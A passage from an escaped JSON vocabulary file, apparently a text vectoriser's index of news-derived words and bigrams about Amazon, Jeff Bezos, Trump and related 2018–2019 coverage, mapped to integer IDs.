\"vox dara\": 4564,\n  \"certainly better\": 4565,\n  \"years wow\": 4566,\n  \"ones sharing\": 4567,\n  \"blasio say\": 4568,\n  \"presidential 2020\": 4569,\n  \"real competition\": 4570,\n  \"partners founding\": 4571,\n  \"gates upgraded\": 4572,\n  \"new federal\": 4573,\n  \"tailer told\": 4574,\n  \"intricate\": 4575,\n  \"government looking\": 4576,\n  \"hiring local\": 4577,\n  \"called super\": 4578,\n  \"isn letting\": 4579,\n  \"drop took\": 4580,\n  \"deft\": 4581,\n  \"send responses\": 4582,\n  \"sourcegregg jarrett\": 4583,\n  \"communities haaland\": 4584,\n  \"lists categories\": 4585,\n  \"bartiromo\": 4586,\n  \"far allies\": 4587,\n  \"market capitalization\": 4588,\n  \"photo reuters\": 4589,\n  \"status 1055524794110664704\": 4590,\n  \"free newsletters\": 4591,\n  \"liaisons\": 4592,\n  \"manager isidore\": 4593,\n  \"bezos crafting\": 4594,\n  \"wing agitator\": 4595,\n  \"platform suspended\": 4596,\n  \"rate structure\": 4597,\n  \"bads angelo\": 4598,\n  \"s\\u00e3o paulo\": 4599,\n  \"nicholas sandmann\": 4600,\n  \"profits handsomely\": 4601,\n  \"chicago serial\": 4602,\n  \"consistently accused\": 4603,\n  \"akira\": 4604,\n  \"million invested\": 4605,\n  \"desired\": 4606,\n  \"vacation time\": 4607,\n  \"cnn clicker\": 4608,\n  \"337 shares\": 4609,\n  \"lucky\": 4610,\n  \"guts\": 4611,\n  \"success helped\": 4612,\n  \"downbeat christmas\": 4613,\n  \"escape\": 4614,\n  \"dennis miller\": 4615,\n  \"floats merger\": 4616,\n  \"paypal founder\": 4617,\n  \"rising socialist\": 4618,\n  \"shapiro\": 4619,\n  \"origin attempt\": 4620,\n  \"unclassified data\": 4621,\n  \"unmanned\": 4622,\n  \"amazon jungles\": 4623,\n  \"know qualified\": 4624,\n  \"100 degree\": 4625,\n  \"government saudi\": 4626,\n  \"murder charge\": 4627,\n  \"symptoms contact\": 4628,\n  \"remain cherished\": 4629,\n  \"mounts\": 4630,\n  \"trade crusade\": 4631,\n  \"saudi money\": 4632,\n  \"constructed business\": 4633,\n  \"peter walzer\": 4634,\n  \"200b divorce\": 4635,\n  \"custom_article_footer null\": 4636,\n  \"failed response\": 4637,\n  \"lucrative arrangement\": 4638,\n  \"bang\": 4639,\n  \"million job\": 4640,\n  \"katchen ceo\": 4641,\n  \"gambelli\": 4642,\n  \"definitely suggestions\": 4643,\n  \"investigation record\": 4644,\n  \"sitting duck\": 4645,\n  \"signature package\": 4646,\n  \"binge material\": 4647,\n  \"writeln\": 4648,\n  \"china tariffs\": 4649,\n  \"heritage short\": 4650,\n  \"oregon new\": 4651,\n  \"company sells\": 4652,\n  \"2016 politico\": 4653,\n  \"organization selects\": 4654,\n  \"reddit\": 4655,\n  \"workplace report\": 4656,\n  \"deadlock\": 4657,\n  \"membership discount\": 4658,\n  \"telecommunications association\": 4659,\n  \"store data\": 4660,\n  \"univision maduro\": 4661,\n  \"committee chairs\": 4662,\n  \"exactly did\": 4663,\n  \"apple poached\": 4664,\n  \"statement provided\": 4665,\n  \"shameless\": 4666,\n  \"gusto\": 4667,\n  \"max width\": 4668,\n  \"carnival travel\": 4669,\n  \"protecting trump\": 4670,\n  \"attacked vilified\": 4671,\n  \"suspect throws\": 4672,\n  \"passed decades\": 4673,\n  \"pedo\": 4674,\n  \"opposition history\": 4675,\n  \"saladish\": 4676,\n  \"feature offers\": 4677,\n  \"novelist mackenzie\": 4678,\n  \"favorite words\": 4679,\n  \"brendan witcher\": 4680,\n  \"biggest teams\": 4681,\n  \"tl sugar\": 4682,\n  \"andy jassy\": 4683,\n  \"profits long\": 4684,\n  \"couldn resist\": 4685,\n  \"strong message\": 4686,\n  \"amazon spends\": 4687,\n  \"blvd 101\": 4688,\n  \"chicago area\": 4689,\n  \"rallies lees\": 4690,\n  \"github\": 4691,\n  \"water salt\": 4692,\n  \"budget committee\": 4693,\n  \"transgender models\": 4694,\n  \"say impeach\": 4695,\n  \"tech players\": 4696,\n  \"food cbs\": 4697,\n  \"_sacat\": 4698,\n  \"think anzalone\": 4699,\n  \"aviary\": 4700,\n  \"industry allowing\": 4701,\n  \"multiple dishes\": 4702,\n  \"separate tweet\": 4703,\n  \"real final\": 4704,\n  \"155 raised\": 4705,\n  \"buluo\": 4706,\n  \"atlantic mccabe\": 4707,\n  \"flawed practices\": 4708,\n  \"accent disbanded\": 4709,\n  \"unpleasant press\": 4710,\n  \"topped\": 4711,\n  \"safety act\": 4712,\n  \"installing delivery\": 4713,\n  \"aggressive chronicler\": 4714,\n  \"service intercepts\": 4715,\n  \"turkish economy\": 4716,\n  \"238 candidate\": 4717,\n  \"panel van\": 4718,\n  \"stuck sitting\": 4719,\n  \"season fast\": 4720,\n  \"product known\": 4721,\n  \"draw comparisons\": 4722,\n  \"day tweet\": 4723,\n  \"renegotiating\": 4724,\n  \"strathwood encompassing\": 4725,\n  \"billion splash\": 4726,\n  \"authored\": 4727,\n  \"terminate national\": 4728,\n  \"screen films\": 4729,\n  \"declare protected\": 4730,\n  \"podcast jared\": 4731,\n  \"nearby areas\": 4732,\n  \"rush susan\": 4733,\n  \"pentagon data\": 4734,\n  \"detained indefinitely\": 4735,\n  \"bad person\": 4736,\n  \"mailer hits\": 4737,\n  \"attack dog\": 4738,\n  \"recently weakened\": 4739,\n  \"resulting socially\": 4740,\n  \"andrew lawrence\": 4741,\n  \"halloween hot\": 4742,\n  \"becker says\": 4743,\n  \"shortfalls\": 4744,\n  \"senate arizona\": 4745,\n  \"government based\": 4746,\n  \"sphere investors\": 4747,\n  \"pyeongchang winter\": 4748,\n  \"330\": 4749,\n  \"focused\": 4750,\n  \"absorbed nonsense\": 4751,\n  \"extraordinary wealth\": 4752,\n  \"meddling claiming\": 4753,\n  \"especially amazing\": 4754,\n  \"getting longer\": 4755,\n  \"fourth consecutive\": 4756,\n  \"heraldnet\": 4757,\n  \"felony conviction\": 4758,\n  \"street estimates\": 4759,\n  \"asi\": 4760,\n  \"sealed bids\": 4761,\n  \"itemising\": 4762,\n  \"sought 515\": 4763,\n  \"murillo\": 4764,\n  \"customers don\": 4765,\n  \"supports\": 4766,\n  \"industries did\": 4767,\n  \"eevvf\": 4768,\n  \"magazine promoting\": 4769,\n  \"overheating\": 4770,\n  \"authority bumps\": 4771,\n  \"largest federal\": 4772,\n  \"mexico tariffs\": 4773,\n  \"murphy favor\": 4774,\n  \"thomas kohnstamm\": 4775,\n  \"chief lending\": 4776,\n  \"statement recently\": 4777,\n  \"healers sent\": 4778,\n  \"republican base\": 4779,\n  \"antitrust architecture\": 4780,\n  \"team leaders\": 4781,\n  \"telecom companies\": 4782,\n  \"monopoly privatizing\": 4783,\n  \"business grows\": 4784,\n  \"strong strategic\": 4785,\n  \"shaped tax\": 4786,\n  \"dignified\": 4787,\n  \"murphy_51492 png\": 4788,\n  \"hot things\": 4789,\n  \"ago today\": 4790,\n  \"fast founded\": 4791,\n  \"group new\": 4792,\n  \"god nation\": 4793,\n  \"selection nbc\": 4794,\n  \"blackmail likewise\": 4795,\n  \"insidesources\": 4796,\n  \"state president\": 4797,\n  \"ofthis\": 4798,\n  \"aspen\": 4799,\n  \"rescue rescue\": 4800,\n  \"mystery man\": 4801,\n  \"blowing smoke\": 4802,\n  \"anand\": 4803,\n  \"musk telstra\": 4804,\n  \"substantial direct\": 4805,\n  \"stifles entrepreneurs\": 4806,\n  \"capsized\": 4807,\n  \"social sciences\": 4808,\n  \"ecl shares\": 4809,\n  \"president jeffrey\": 4810,\n  \"night investigation\": 4811,\n  \"pricing program\": 4812,\n  \"offered employees\": 4813,\n  \"earnings docket\": 4814,\n  \"promotion effective\": 4815,\n  \"housing shortage\": 4816,\n  \"gives handouts\": 4817,\n  \"finally broke\": 4818,\n  \"200 youth\": 4819,\n  \"china mission\": 4820,\n  \"griffeth boy\": 4821,\n  \"opposite brings\": 4822,\n  \"pressing crisis\": 4823,\n  \"healers despite\": 4824,\n  \"filled conference\": 4825,\n  \"novel john\": 4826,\n  \"brainpower\": 4827,\n  \"liberation\": 4828,\n  \"considered just\": 4829,\n  \"bolsonaro stated\": 4830,\n  \"r5q\": 4831,\n  \"ceo federal\": 4832,\n  \"extensive assets\": 4833,\n  \"clad\": 4834,\n  \"setting financial\": 4835,\n  \"perpetrators\": 4836,\n  \"prefer clicks\": 4837,\n  \"previous amazon\": 4838,\n  \"noncash\": 4839,\n  \"state assemblyman\": 4840,\n  \"farm sa\": 4841,\n  \"consumers fcc\": 4842,\n  \"energy policy\": 4843,\n  \"probably lower\": 4844,\n  \"129 million\": 4845,\n  \"saying ocasio\": 4846,\n  \"scores\": 4847,\n  \"barrel driving\": 4848,\n  \"360 agcom\": 4849,\n  \"personal grievances\": 4850,\n  \"took flip\": 4851,\n  \"declared senate\": 4852,\n  \"echoes\": 4853,\n  \"dresses 2018\": 4854,\n  \"follower trucks\": 4855,\n  \"vigorous\": 4856,\n  \"ambulances\": 4857,\n  \"lumber nails\": 4858,\n  \"worker headed\": 4859,\n  \"court don\": 4860,\n  \"saudi authorities\": 4861,\n  \"trump feud\": 4862,\n  \"revenue printing\": 4863,\n  \"sister cara\": 4864,\n  \"chose cities\": 4865,\n  \"uv sunscreen\": 4866,\n  \"illegally received\": 4867,\n  \"bankroll\": 4868,\n  \"include higher\": 4869,\n  \"race npr\": 4870,\n  \"murad\": 4871,\n  \"arbitrage\": 4872,\n  \"including penney\": 4873,\n  \"pinnacle awards\": 4874,\n  \"hmd\": 4875,\n  \"jughead\": 4876,\n  \"rivals say\": 4877,\n  \"philippines tfdp\": 4878,\n  \"consumers complaints\": 4879,\n  \"online primarily\": 4880,\n  \"political hostility\": 4881,\n  \"seattle amageddon\": 4882,\n  \"tackle number\": 4883,\n  \"jeffrey preston\": 4884,\n  \"lewisville\": 4885,\n  \"increasingly omnipresent\": 4886,\n  \"face long\": 4887,\n  \"wider post\": 4888,\n  \"recognition product\": 4889,\n  \"really executing\": 4890,\n  \"music foreign\": 4891,\n  \"formations\": 4892,\n  \"peace knopf\": 4893,\n  \"maintain healthy\": 4894,\n  \"lawrey istock\": 4895,\n  \"stringent definition\": 4896,\n  \"new claim\": 4897,\n  \"nextvideourl\": 4898,\n  \"sunny\": 4899,\n  \"simplistic review\": 4900,\n  \"jon kyl\": 4901,\n  \"upside seen\": 4902,\n  \"morton\": 4903,\n  \"programs administered\": 4904,\n  \"newly\": 4905,\n  \"packages megan\": 4906,\n  \"ferguson\": 4907,\n  \"provides additional\": 4908,\n  \"query cp\": 4909,\n  \"lax responses\": 4910,\n  \"require legislation\": 4911,\n  \"514\": 4912,\n  \"glancing\": 4913,\n  \"reports treasury\": 4914,\n  \"state levels\": 4915,\n  \"city vying\": 4916,\n  \"court conservative\": 4917,\n  \"general shakiness\": 4918,\n  \"revelation steps\": 4919,\n  \"win loss\": 4920,\n  \"elected democrats\": 4921,\n  \"quickly closing\": 4922,\n  \"stellar numbers\": 4923,\n  \"mystery posted\": 4924,\n  \"grabs\": 4925,\n  \"4chan voat\": 4926,\n  \"downsize\": 4927,\n  \"bray\": 4928,\n  \"declaring war\": 4929,\n  \"dynastic wealth\": 4930,\n  \"special govcloud\": 4931,\n  \"play kinky\": 4932,\n  \"clearly strays\": 4933,\n  \"texts\": 4934,\n  \"states antitrust\": 4935,\n  \"bilateral accord\": 4936,\n  \"innovations including\": 4937,\n  \"inside ami\": 4938,\n  \"day meet\": 4939,\n  \"year diana\": 4940,\n  \"slams\": 4941,\n  \"data improperly\": 4942,\n  \"kim bronx\": 4943,\n  \"graphic extortion\": 4944,\n  \"trending sleeping\": 4945,\n  \"irresponsible\": 4946,\n  \"multinational\": 4947,\n  \"key preferences\": 4948,\n  \"insurgent shock\": 4949,\n  \"nixon ronald\": 4950,\n  \"best levels\": 4951,\n  \"2014 critics\": 4952,\n  \"company exploiting\": 4953,\n  \"hailed turkey\": 4954,\n  \"facilitating investment\": 4955,\n  \"segall\": 4956,\n  \"domenech\": 4957,\n  \"history theory\": 4958,\n  \"175 organizations\": 4959,\n  \"icarus\": 4960,\n  \"steve kornacki\": 4961,\n  \"deepen\": 4962,\n  \"pilot\": 4963,\n  \"city ai\": 4964,\n  \"operates service\": 4965,\n  \"cooked\": 4966,\n  \"agnes nutter\": 4967,\n  \"trump footsteps\": 4968,\n  \"wanzhou\": 4969,\n  \"spells bad\": 4970,\n  \"opinion trump\": 4971,\n  \"central core\": 4972,\n  \"midday comment\": 4973,\n  \"moving operations\": 4974,\n  \"boroughs including\": 4975,\n  \"adsection const\": 4976,\n  \"best witnessed\": 4977,\n  \"original article\": 4978,\n  \"political bubble\": 4979,\n  \"president removed\": 4980,\n  \"wbenjaminson bloomberg\": 4981,\n  \"pedophilia thanks\": 4982,\n  \"ongoing legal\": 4983,\n  \"indonesia struck\": 4984,\n  \"make steady\": 4985,\n  \"test suggested\": 4986,\n  \"newegg\": 4987,\n  \"poll memo\": 4988,\n  \"r8 j8i\": 4989,\n  \"africa oena\": 4990,\n  \"ami according\": 4991,\n  \"wall bezos\": 4992,\n  \"extensive reserves\": 4993,\n  \"ruled passed\": 4994,\n  \"round\": 4995,\n  \"committee wrote\": 4996,\n  \"comment howard\": 4997,\n  \"remarkable growth\": 4998,\n  \"food jobs\": 4999,\n  \"feigenholtz\": 5000,\n  \"kurzius billion\": 5001,\n  \"digital maps\": 5002,\n  \"arabia minister\": 5003,\n  \"forever amazon\": 5004,\n  \"warm\": 5005,\n  \"thoroughly embracing\": 5006,\n  \"modern robotic\": 5007,\n  \"earn 120\": 5008,\n  \"involving president\": 5009,\n  \"share\": 5010,\n  \"missed motley\": 5011,\n  \"eyeing\": 5012,\n  \"employee tax\": 5013,\n  \"earn return\": 5014,\n  \"ctrn nasdaq\": 5015,\n  \"states mexico\": 5016,\n  \"decade google\": 5017,\n  \"generous jeff\": 5018,\n  \"counsel investigations\": 5019,\n  \"law causes\": 5020,\n  \"500 futures\": 5021,\n  \"urgency\": 5022,\n  \"western tour\": 5023,\n  \"market battle\": 5024,\n  \"ceo marc\": 5025,\n  \"leading reading\": 5026,\n  \"new developments\": 5027,\n  \"school staffers\": 5028,\n  \"showlogo\": 5029,\n  \"trending alexandria\": 5030,\n  \"deal bodes\": 5031,\n  \"military ranked\": 5032,\n  \"alt primarily\": 5033,\n  \"sienna stumbled\": 5034,\n  \"new meanings\": 5035,\n  \"carbon tax\": 5036,\n  \"shui embedded\": 5037,\n  \"democrats democrats\": 5038,\n  \"security leaks\": 5039,\n  \"ap spy\": 5040,\n  \"shailesh\": 5041,\n  \"floor retail\": 5042,\n  \"penseur\": 5043,\n  \"firm pemex\": 5044,\n  \"start amazon\": 5045,\n  \"backup fail\": 5046,\n  \"photo du\": 5047,\n  \"martin scorsese\": 5048,\n  \"change especially\": 5049,\n  \"help support\": 5050,\n  \"outside customers\": 5051,\n  \"list mixes\": 5052,\n  \"tiny\": 5053,\n  \"enquirer reveal\": 5054,\n  \"plans donald\": 5055,\n  \"food skills\": 5056,\n  \"legionnaires\": 5057,\n  \"box gives\": 5058,\n  \"revolut\": 5059,\n  \"poet table\": 5060,\n  \"brazilian forestry\": 5061,\n  \"nailing\": 5062,\n  \"help explain\": 5063,\n  \"selectusa\": 5064,\n  \"parker\": 5065,\n  \"rampant environmental\": 5066,\n  \"national\": 5067,\n  \"public speaker\": 5068,\n  \"income filers\": 5069,\n  \"house according\": 5070,\n  \"ami bezos\": 5071,\n  \"100 posterimageoverride\": 5072,\n  \"contact columnist\": 5073,\n  \"amazon privacy\": 5074,\n  \"clear relatively\": 5075,\n  \"second political\": 5076,\n  \"actually deliver\": 5077,\n  \"way listen\": 5078,\n  \"stinks drain\": 5079,\n  \"corporate observed\": 5080,\n  \"super low\": 5081,\n  \"shipping google\": 5082,\n  \"application programming\": 5083,\n  \"contest bezos\": 5084,\n  \"ranching controversial\": 5085,\n  \"impersonate amazon\": 5086,\n  \"louis daycare\": 5087,\n  \"trumpkins\": 5088,\n  \"potential violations\": 5089,\n  \"capitalization amazon\": 5090,\n  \"employers fact\": 5091,\n  \"inactive enrollment\": 5092,\n  \"dong\": 5093,\n  \"mbrooker1\": 5094,\n  \"trump circle\": 5095,\n  \"price best\": 5096,\n  \"law point\": 5097,\n  \"japan hedged\": 5098,\n  \"striking similarities\": 5099,\n  \"credentials trump\": 5100,\n  \"trade round\": 5101,\n  \"contact high\": 5102,\n  \"dearth\": 5103,\n  \"doesnt fear\": 5104,\n  \"hartland governor\": 5105,\n  \"elise\": 5106,\n  \"story jim\": 5107,\n  \"piecemeal high\": 5108,\n  \"village hope\": 5109,\n  \"ala conference\": 5110,\n  \"exploit workers\": 5111,\n  \"morethe uber\": 5112,\n  \"grade school\": 5113,\n  \"andrew loveridge\": 5114,\n  \"national strategy\": 5115,\n  \"criminally\": 5116,\n  \"close connections\": 5117,\n  \"quietly working\": 5118,\n  \"complete mutual\": 5119,\n  \"day given\": 5120,\n  \"volatility bartiromo\": 5121,\n  \"credits assume\": 5122,\n  \"hit fever\": 5123,\n  \"incentivize\": 5124,\n  \"bold bets\": 5125,\n  \"soullessness\": 5126,\n  \"searle netflix\": 5127,\n  \"uses individual\": 5128,\n  \"alert\": 5129,\n  \"little danger\": 5130,\n  \"bosses ignore\": 5131,\n  \"budget retailer\": 5132,\n  \"balart fl\": 5133,\n  \"monopoly busting\": 5134,\n  \"care nurses\": 5135,\n  \"agile sounds\": 5136,\n  \"service known\": 5137,\n  \"noticeably\": 5138,\n  \"right ellison\": 5139,\n  \"388160\": 5140,\n  \"maisonet\": 5141,\n  \"political enemies\": 5142,\n  \"recently acquired\": 5143,\n  \"friends report\": 5144,\n  \"matter activist\": 5145,\n  \"ran fiery\": 5146,\n  \"rate commission\": 5147,\n  \"officials believe\": 5148,\n  \"emergencies\": 5149,\n  \"logistics ecosystem\": 5150,\n  \"unconfirmed\": 5151,\n  \"monopoly criteria\": 5152,\n  \"paperback form\": 5153,\n  \"2752121 bezos\": 5154,\n  \"reporter yara\": 5155,\n  \"800 stores\": 5156,\n  \"miraculously\": 5157,\n  \"investment plans\": 5158,\n  \"wow laura\": 5159,\n  \"seeking divorce\": 5160,\n  \"maddie\": 5161,\n  \"incredible holiday\": 5162,\n  \"american thinks\": 5163,\n  \"dwoskin amazon\": 5164,\n  \"moderate senate\": 5165,\n  \"amazon customer\": 5166,\n  \"just twiddles\": 5167,\n  \"deepest\": 5168,\n  \"helps explain\": 5169,\n  \"running shoes\": 5170,\n  \"converts joe\": 5171,\n  \"blumenthal\": 5172,\n  \"tall cactus\": 5173,\n  \"missing hikers\": 5174,\n  \"include rumor\": 5175,\n  \"canadian flag\": 5176,\n  \"sent 270\": 5177,\n  \"general respect\": 5178,\n  \"titular\": 5179,\n  \"economic driver\": 5180,\n  \"approach bezos\": 5181,\n  \"race baiting\": 5182,\n  \"later report\": 5183,\n  \"just hasn\": 5184,\n  \"activists say\": 5185,\n  \"admirably\": 5186,\n  \"thoroughly reviewed\": 5187,\n  \"shares reached\": 5188,\n  \"laws 2018\": 5189,\n  \"retailer president\": 5190,\n  \"it09_trump_051818_ap\": 5191,\n  \"global military\": 5192,\n  \"investments\": 5193,\n  \"changes 2018\": 5194,\n  \"votes\": 5195,\n  \"shutters\": 5196,\n  \"company euro\": 5197,\n  \"wrote gm\": 5198,\n  \"expansionary blood\": 5199,\n  \"foxconn employees\": 5200,\n  \"party online\": 5201,\n  \"virginia posted\": 5202,\n  \"far apple\": 5203,\n  \"share email\": 5204,\n  \"nabbed fresh\": 5205,\n  \"worldwide tuned\": 5206,\n  \"despite claims\": 5207,\n  \"hosting services\": 5208,\n  \"california check\": 5209,\n  \"ominous sign\": 5210,\n  \"favorite institution\": 5211,\n  \"exodus\": 5212,\n  \"harry truman\": 5213,\n  \"2017 voice\": 5214,\n  \"competitor netflix\": 5215,\n  \"450 employees\": 5216,\n  \"possible bob\": 5217,\n  \"corrupt\": 5218,\n  \"received mnuchin\": 5219,\n  \"investigation wells\": 5220,\n  \"bibble singing\": 5221,\n  \"month idriss\": 5222,\n  \"employee ubhi\": 5223,\n  \"senate mayor\": 5224,\n  \"protectionist policies\": 5225,\n  \"skewed upward\": 5226,\n  \"institution checking\": 5227,\n  \"promptly escalate\": 5228,\n  \"suburban virginia\": 5229,\n  \"salesforce executives\": 5230,\n  \"201923 pictures\": 5231,\n  \"works spending\": 5232,\n  \"ex wives\": 5233,\n  \"2018 make\": 5234,\n  \"breakneck\": 5235,\n  \"taking bearish\": 5236,\n  \"kitchen residents\": 5237,\n  \"campaign advisers\": 5238,\n  \"families petitioned\": 5239,\n  \"previous ties\": 5240,\n  \"public metrics\": 5241,\n  \"yao\": 5242,\n  \"002\": 5243,\n  \"raise pointless\": 5244,\n  \"reveals amazon\": 5245,\n  \"morning greer\": 5246,\n  \"seattle recently\": 5247,\n  \"public outcry\": 5248,\n  \"768bn net\": 5249,\n  \"getting federal\": 5250,\n  \"promotional spots\": 5251,\n  \"respective industries\": 5252,\n  \"competitors crumble\": 5253,\n  \"enjoy support\": 5254,\n  \"purchase field\": 5255,\n  \"lauded actresses\": 5256,\n  \"yugoslavia\": 5257,\n  \"new processes\": 5258,\n  \"asean\": 5259,\n  \"profit soared\": 5260,\n  \"corrupt amazon\": 5261,\n  \"positive synergy\": 5262,\n  \"appears unsustainable\": 5263,\n  \"rbg\": 5264,\n  \"bad run\": 5265,\n  \"alarm bells\": 5266,\n  \"lot going\": 5267,\n  \"plantation\": 5268,\n  \"halzack\": 5269,\n  \"currently fda\": 5270,\n  \"value apple\": 5271,\n  \"stain\": 5272,\n  \"matter amazon\": 5273,\n  \"profit running\": 5274,\n  \"virginia carell\": 5275,\n  \"bodies rachel\": 5276,\n  \"participated\": 5277,\n  \"sales events\": 5278,\n  \"demand barnes\": 5279,\n  \"citizenship question\": 5280,\n  \"favorable coverage\": 5281,\n  \"announcement just\": 5282,\n  \"ant financial\": 5283,\n  \"page instead\": 5284,\n  \"meritless\": 5285,\n  \"meet payroll\": 5286,\n  \"mma legislation\": 5287,\n  \"actually public\": 5288,\n  \"business executive\": 5289,\n  \"early iterations\": 5290,\n  \"management authority\": 5291,\n  \"overseeing body\": 5292,\n  \"recover\": 5293,\n  \"today reportedly\": 5294,\n  \"expe\": 5295,\n  \"damned\": 5296,\n  \"bezos stinging\": 5297,\n  \"important scientific\": 5298,\n  \"gnostic gospels\": 5299,\n  \"charge exceeding\": 5300,\n  \"sworn\": 5301,\n  \"aggressively pushed\": 5302,\n  \"begin shifting\": 5303,\n  \"tax bryan\": 5304,\n  \"slim fit\": 5305,\n  \"amazon intends\": 5306,\n  \"trump 20180625\": 5307,\n  \"biggest technology\": 5308,\n  \"fyre\": 5309,\n  \"reverberating effect\": 5310,\n  \"lamborghini cuts\": 5311,\n  \"hen\": 5312,\n  \"ted bridis\": 5313,\n  \"deputy mayor\": 5314,\n  \"pool leighton\": 5315,\n  \"recent highly\": 5316,\n  \"fiercely attacked\": 5317,\n  \"easy subway\": 5318,\n  \"based old\": 5319,\n  \"house incendiary\": 5320,\n  \"paperback\": 5321,\n  \"department signaling\": 5322,\n  \"related quicktakes\": 5323,\n  \"dollar relative\": 5324,\n  \"headquarters campus\": 5325,\n  \"brussels european\": 5326,\n  \"officially national\": 5327,\n  \"2015 twitter\": 5328,\n  \"blue mailbox\": 5329,\n  \"eventually backed\": 5330,\n  \"sarah cooper\": 5331,\n  \"biofuels markets\": 5332,\n  \"near impossible\": 5333,\n  \"having workers\": 5334,\n  \"industries reported\": 5335,\n  \"great strengths\": 5336,\n  \"koji sasahara\": 5337,\n  \"page expos\\u00e9\": 5338,\n  \"persistent chatter\": 5339,\n  \"independent booksellers\": 5340,\n  \"undoubtedly irk\": 5341,\n  \"anytime quickly\": 5342,\n  \"gore isn\": 5343,\n  \"risks prompting\": 5344,\n  \"owns functions\": 5345,\n  \"calling gang\": 5346,\n  \"hourly instead\": 5347,\n  \"crickets 2018\": 5348,\n  \"new cuny\": 5349,\n  \"post cites\": 5350,\n  \"ken mcbride\": 5351,\n  \"received yesterday\": 5352,\n  \"gloriously\": 5353,\n  \"latest\": 5354,\n  \"policy includes\": 5355,\n  \"taxes delayed\": 5356,\n  \"led digital\": 5357,\n  \"haven thought\": 5358,\n  \"waters\": 5359,\n  \"smithsonian institution\": 5360,\n  \"bdi industry\": 5361,\n  \"suv sent\": 5362,\n  \"outside organizations\": 5363,\n  \"productivity equilibrium\": 5364,\n  \"bezoses perceive\": 5365,\n  \"mishandled\": 5366,\n  \"resembles\": 5367,\n  \"journey read\": 5368,\n  \"katie arrington\": 5369,\n  \"place little\": 5370,\n  \"a7 l7\": 5371,\n  \"target shares\": 5372,\n  \"climate new\": 5373,\n  \"drones used\": 5374,\n  \"affected state\": 5375,\n  \"trump motives\": 5376,\n  \"say requiring\": 5377,\n  \"guyana ba\": 5378,\n  \"different retailers\": 5379,\n  \"gop leaders\": 5380,\n  \"investigators want\": 5381,\n  \"technology professor\": 5382,\n  \"enjoy additional\": 5383,\n  \"ebay etsy\": 5384,\n  \"disability sexual\": 5385,\n  \"affair tweeted\": 5386,\n  \"protester dressed\": 5387,\n  \"remove direct\": 5388,\n  \"self help\": 5389,\n  \"road metro\": 5390,\n  \"rates adam\": 5391,\n  \"election trip\": 5392,\n  \"favorite books\": 5393,\n  \"sad movies\": 5394,\n  \"wasn company\": 5395,\n  \"2017 otherworld\": 5396,\n  \"retribution retaliation\": 5397,\n  \"eternal adolescence\": 5398,\n  \"quickly spark\": 5399,\n  \"marketing search\": 5400,\n  \"candace cameron\": 5401,\n  \"helped push\": 5402,\n  \"life man\": 5403,\n  \"wedges\": 5404,\n  \"governance international\": 5405,\n  \"virginia ceo\": 5406,\n  \"coffee energy\": 5407,\n  \"alarming parallels\": 5408,\n  \"radical islam\": 5409,\n  \"spuriously\": 5410,\n  \"tremendous order\": 5411,\n  \"lp reported\": 5412,\n  \"consultancy engagements\": 5413,\n  \"chattanooga tennessee\": 5414,\n  \"kroger especially\": 5415,\n  \"early development\": 5416,\n  \"product president\": 5417,\n  \"typically need\": 5418,\n  \"selected northern\": 5419,\n  \"routinely failing\": 5420,\n  \"wang\": 5421,\n  \"deal readers\": 5422,\n  \"soni\": 5423,\n  \"expand manufacturing\": 5424,\n  \"wrote bezos\": 5425,\n  \"internet policy\": 5426,\n  \"growing club\": 5427,\n  \"origin rockets\": 5428,\n  \"wellness\": 5429,\n  \"reports kim\": 5430,\n  \"demonized\": 5431,\n  \"bezos feud\": 5432,\n  \"investments reuters\": 5433,\n  \"license plates\": 5434,\n  \"certainly dominate\": 5435,\n  \"wealthcare\": 5436,\n  \"helicopter license\": 5437,\n  \"enforcement did\": 5438,\n  \"despite rising\": 5439,\n  \"state shipments\": 5440,\n  \"jr answered\": 5441,\n  \"cops taser\": 5442,\n  \"fix italy\": 5443,\n  \"rat nest\": 5444,\n  \"fbi agent\": 5445,\n  \"burt\": 5446,\n  \"new location\": 5447,\n  \"age disability\": 5448,\n  \"actual example\": 5449,\n  \"weekend chuck\": 5450,\n  \"event expected\": 5451,\n  \"stock seeking\": 5452,\n  \"trump va\": 5453,\n  \"silence held\": 5454,\n  \"responsibilities\": 5455,\n  \"did numbers\": 5456,\n  \"cool building\": 5457,\n  \"million devices\": 5458,\n  \"exposing bezos\": 5459,\n  \"current internet\": 5460,\n  \"coverage amazon\": 5461,\n  \"combined 115bn\": 5462,\n  \"foe\": 5463,\n  \"bloomberg opinion\": 5464,\n  \"jennings aurora\": 5465,\n  \"hopeful elizabeth\": 5466,\n  \"bezos wouldn\": 5467,\n  \"america fastest\": 5468,\n  \"volume tpv\": 5469,\n  \"pacific deadliest\": 5470,\n  \"sited\": 5471,\n  \"packages addressed\": 5472,\n  \"women accused\": 5473,\n  \"rangers sword\": 5474,\n  \"sunnyside yards\": 5475,\n  \"ethics office\": 5476,\n  \"turned orange\": 5477,\n  \"create innovative\": 5478,\n  \"necessary muckraking\": 5479,\n  \"want corporations\": 5480,\n  \"office denied\": 5481,\n  \"turn profit\": 5482,\n  \"advisors 2005\": 5483,\n  \"linescame\": 5484,\n  \"minimal dose\": 5485,\n  \"kurtz source\": 5486,\n  \"bogus claim\": 5487,\n  \"rubicon\": 5488,\n  \"issues rodrigo\": 5489,\n  \"exists videocardcontents\": 5490,\n  \"herera netflix\": 5491,\n  \"expertise firms\": 5492,\n  \"economy matter\": 5493,\n  \"overcrowding\": 5494,\n  \"need subsidies\": 5495,\n  \"large real\": 5496,\n  \"politics using\": 5497,\n  \"creepy joe\": 5498,\n  \"econ\\u00f4mico newspaper\": 5499,\n  \"rep darrell\": 5500,\n  \"politicians decide\": 5501,\n  \"superior product\": 5502,\n  \"buyers strike\": 5503,\n  \"shamelessly\": 5504,\n  \"antiquated voting\": 5505,\n  \"newsstands national\": 5506,\n  \"association reports\": 5507,\n  \"suffering inflicted\": 5508,\n  \"important metropolitan\": 5509,\n  \"longstanding\": 5510,\n  \"measles\": 5511,\n  \"new culture\": 5512,\n  \"putin sparked\": 5513,\n  \"coterie\": 5514,\n  \"resisting extraction\": 5515,\n  \"trump having\": 5516,\n  \"agencies ibama\": 5517,\n  \"really stressful\": 5518,\n  \"offering olaoluwa\": 5519,\n  \"repeatedly amazon\": 5520,\n  \"trump people\": 5521,\n  \"landers\": 5522,\n  \"price flexibility\": 5523,\n  \"celebrates election\": 5524,\n  \"actually receive\": 5525,\n  \"navy commander\": 5526,\n  \"names include\": 5527,\n  \"post strong\": 5528,\n  \"shopper faith\": 5529,\n  \"direct favorable\": 5530,\n  \"laboratories mrl\": 5531,\n  \"settled racial\": 5532,\n  \"high youth\": 5533,\n  \"iphone maker\": 5534,\n  \"sanders directly\": 